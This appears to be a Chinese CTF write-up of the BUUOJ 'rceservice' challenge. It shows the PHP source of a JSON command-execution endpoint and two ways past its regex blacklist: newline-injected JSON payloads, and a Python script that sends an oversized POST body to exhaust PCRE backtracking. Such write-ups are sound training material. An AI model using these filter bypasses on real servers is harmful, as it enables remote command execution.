前言:
这题看了wp,最大的疑惑就是源码怎么看到的?
读题
- 打开题目提示,输入JSON类型来执行命令。【JSON常识】
- JSON 需要给一个键值对,执行命令的话我们猜测是cmd键于是输入
{"cmd":"ls"}
得到了回显index.php 尝试使用{"cmd":"cat index.php"}
, 返回: Hacking attempt detected 估计过滤了cat 。 - 网上找到了源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?> - 代码中使用
putenv('PATH=/home/rceservice/jail');
配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件。我们可以直接使用/bin/cat
来调用cat命令。 - Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
多行绕过preg_match 来解题
因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过
- 我们使用payload
{%0A"cmd":"ls /home/rceservice/jail"%0A}
(%A是换行)得到回显 ls 一个文件,这也再一次说明当前环境下有 ls命令 没有其它命令。 - 使用payload
{%0A"cmd":"ls /home/rceservice"%0A}
得到回显,flag jail 。也就是说 flag 在flag里。 - 使用
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
得到flag。
利用PCRE回溯来绕过 preg_match
先了解一下什么是PCRE回溯,【看这里】。
- 由上面的方法知道了,想要得到flag要访问
/bin/cat /home/rceservice/flag
。 - 根据PCRE回溯的方法解题,需要用POST发送请求,因为GET会因为头太大报错。
1
414 Request-URI Too Large
- 所以我们使用的脚本如下:即可得到flag
1
2
3
4
5
6import requests
### 不知道为啥这里用 || 不可以执行我们的命令
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。
res = requests.post("http://b27f0703-fe79-470f-b1fb-f7cfbd8c966b.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)